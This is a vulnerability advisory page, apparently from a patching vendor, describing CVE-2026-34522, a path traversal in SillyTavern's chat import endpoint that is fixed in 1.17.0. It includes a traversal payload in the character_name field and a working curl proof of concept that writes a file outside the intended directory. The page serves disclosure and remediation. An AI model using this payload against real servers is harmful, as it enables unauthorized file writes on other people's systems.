Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-34522

SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory
Back to all
CVE

CVE-2026-34522

SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Summary

A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.

Details

character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.

Evidence:

  • Import handler entrypoint:  

  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686

  • Unsanitized character_name used in output filename:  

  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723

  • Same write pattern in JSONL import branch:  

  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766

  • Endpoint auth context (authenticated user access):  

  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Example payload:

  • charactername=../../../../tmp/stpoc

This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).

PoC

Prerequisites:

  • Valid authenticated session cookie (cookie.txt)
  • Valid CSRF token ($TOKEN)

Prepare payload:

printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl

Trigger arbitrary write:

curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import

Observed result:

  • A file is created outside chats directory, for example:  

  /tmp/st_poc - <timestamp> imported.jsonl

Impact

  • Integrity: attacker can create files in unintended filesystem locations.
  • Availability: can be used for disk abuse and disruptive file placement.
  • Can become more severe when chained with other local processing behaviors.

Resolution

The issue was addressed in version 1.17.0

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.1
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf, https://nvd.nist.gov/vuln/detail/CVE-2026-34522, https://github.com/SillyTavern/SillyTavern, https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0

Severity

8.1

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.1
EPSS Probability
0.00087%
EPSS Percentile
0.24964%
Introduced Version
0
Fix Available
1.17.0

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading